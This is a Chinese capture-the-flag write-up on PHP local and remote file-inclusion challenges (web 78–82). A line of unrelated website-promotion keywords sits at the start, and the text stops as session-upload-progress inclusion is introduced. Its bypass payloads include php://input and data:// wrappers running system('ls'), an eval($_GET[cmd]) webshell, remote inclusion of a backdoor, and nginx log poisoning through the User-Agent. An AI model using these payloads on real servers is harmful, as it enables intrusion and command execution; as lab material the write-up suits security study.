想做个外贸网站,全网品牌营销,教育网站制作网站,政务网站建设及管理文章目录 web 78——php伪协议第一种方法——php://input第二种方法——data://text/plain第三种方法——远程包含#xff08;http://协议#xff09; web 78——str_replace过滤字符php第一种方法——远程包含#xff08;http://协议#xff09;第二种方法——data://http://协议 web 78——str_replace过滤字符php第一种方法——远程包含http://协议第二种方法——data://php短标签第三种方法——data://base64编码 web 80——str_replace过滤关键字php和data第一种方法——日志包含第二种方法——大写PHP绕过PHP://input web 81——过滤关键字php、data和:日志包含web 82 web 78——php伪协议 第一种方法——php://input
这里不知道flag.php的文件路径可以考虑使用php://input尝试执行php语句获取文件路径。 # url栏?filephp://input # POST data?php system(ls);?cat flag.php可能读取不了文件这时候试试tac flag.php。linux tac命令是倒序读取文件也就是从最后一行往前读取文件。 cat flag.php在源代码中显示php文件查看源代码tac flag.php不需要查看源代码。 第二种方法——data://text/plain
data://数据流封装器以传递相应格式的数据。通常可以用来执行PHP代码。用法
data://text/plain,php代码
data://text/plain;base64,php代码第三种方法——远程包含http://协议 架设外网服务器使用远程包含自己服务器上的后门文件即可获取webshell。
php伪协议总结
web 78——str_replace过滤字符php 首先根据php特性str_replace无法迭代过滤只过滤一次。此处如果用空格替换可以直接使用双写进行绕过。
第一种方法——远程包含http://协议 架设外网服务器使用远程包含自己服务器上的后门文件即可获取webshell。
第二种方法——data://php短标签
既然过滤php字符串使用data://协议同时使用php短标签避免出现字符串php。php中代码开始标志类型(?php ?,? ?,? ?,% %,% %)
?php eval($_GET[cmd]);? ?eval($_GET[cmd]);?第三种方法——data://base64编码
使用data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 (?php phpinfo();?)
web 80——str_replace过滤关键字php和data 可以看到关键字php和data被过滤因此包含这两个关键字的php伪协议都无法用了。查看服务器的系统信息可以发现属于nginxnginx日志的默认路径为/var/log/nginx/access.log 第一种方法——日志包含
通过包含日志文件可以读取到日志文件。因此思路日志文件记录访问者UA信息修改UA信息为后门代码包含就会触发后门代码。
?file/var/log/nginx/access.log
UA:?php system(ls)?第二种方法——大写PHP绕过PHP://input 这里对php://input的php进行大写可以绕过过滤但是通过大写DATA不能使用data://text/plain。 web 81——过滤关键字php、data和:日志包含 这里过滤了php、data和:基本上伪协议是用不了了不过仍然可以使用日志包含。
?file/var/log/nginx/access.log
UA:?php system(ls)?web 82
linux下默认保存session的文件路径/tmp或/var/lib/php/sessionWindows下session文件的路径不固定。 关于session只要你与一个网站建立连接网站某个文件夹下就会产生session文件关闭浏览器或者过了一段时间session就会失效再次建立连接的话就会产生新的session文件。 服务器端的session文件命名如下尝试简单爆破是几乎不可能的。 实际上数据包中的cookie中有个PHPSESSID的值服务端将sess_与PHPSESSID的值进行拼接就是当前会话session的文件名。因此我们可以使用这种方式固定session文件的文件名。 利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含